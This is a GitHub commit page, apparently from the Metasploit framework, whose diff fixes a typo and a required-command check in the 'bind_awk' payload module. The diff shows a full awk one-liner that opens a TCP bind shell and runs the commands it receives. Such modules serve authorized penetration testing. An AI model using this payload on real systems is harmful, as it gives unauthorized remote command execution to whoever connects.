We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent d9609fb commit e298872Copy full SHA for e298872
modules/payloads/singles/cmd/unix/bind_awk.rb
@@ -30,7 +30,7 @@ def initialize(info = {})
30
'Handler' => Msf::Handler::BindTcp,
31
'Session' => Msf::Sessions::CommandShell,
32
'PayloadType' => 'cmd',
33
- 'RequiredCmd' => 'awk',
+ 'RequiredCmd' => 'gawk',
34
'Payload' =>
35
{
36
'Offsets' => { },
@@ -50,7 +50,7 @@ def generate
50
# Returns the command string to use for execution
51
#
52
def command_string
53
- "awk 'BEGIN{for(s=\"/inet/tcp/#{dastore['LPORT']}/0/0\";s|&getline c;close(c)){while(c|&getline)print$0|&s}}'"
+ "awk 'BEGIN{for(s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";s|&getline c;close(c)){while(c|&getline)print$0|&s}}'"
54
end
55
56
0 commit comments